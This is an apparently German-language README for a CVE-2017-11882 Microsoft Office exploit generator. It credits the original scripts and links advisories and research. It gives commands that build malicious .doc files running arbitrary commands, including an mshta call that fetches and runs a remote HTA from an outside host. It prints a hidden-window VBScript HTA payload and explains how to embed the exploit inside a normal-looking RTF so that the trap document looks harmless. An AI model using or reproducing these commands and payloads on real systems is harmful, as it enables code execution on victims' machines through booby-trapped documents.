
CVE-2017-11882 von https://github.com/embedi/CVE-2017-11882
43b Original-Skript stammt von https://github.com/embedi/CVE-2017-11882
109b Original-Skript stammt von https://github.com/unamer/CVE-2017-11882/ (Respekt, der Code von unamer kann jetzt Shellcode ausführen~)
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
Patch analysis: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
DEMO PoC exploitation: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
mshta verwenden
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
43b-Befehlslänge darf 43 Bytes nicht überschreiten, 109b-Befehlslänge darf 109 Bytes nicht überschreiten
Der Ordner example enthält eine .rtf-Datei, die die Schwachstelle CVE-2017-11882 ausnutzt und den Rechner im System ausführt.
Eigentlich habe ich die Vorgehensweise für benutzerdefinierte Inhalte von anderen Experten gelernt. Das Skript wurde schon vor langer Zeit geschrieben. Ursprünglich wollte ich es nicht veröffentlichen, aber da jemand in der Gruppe es bereits veröffentlicht hat, habe ich keine Wahl. Es ist eigentlich ganz einfach: Öffnen Sie das normale Dokument .rtf mit einem Texteditor, kopieren Sie alles vor {\*\datastore, und ersetzen Sie dann alles vor {\object\objautlink\objupdate. Das Skript macht das dann einfach.
Benutzerdefinierte Inhalte verwenden (beliebiges Skript auswählen):
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf
Die benutzerdefinierten Inhalte befinden sich in input.rtf.
Das neueste 605-Byte-Exploit-Skript von unamer werde ich nicht aktualisieren; wer Interesse hat, kann es selbst anpassen.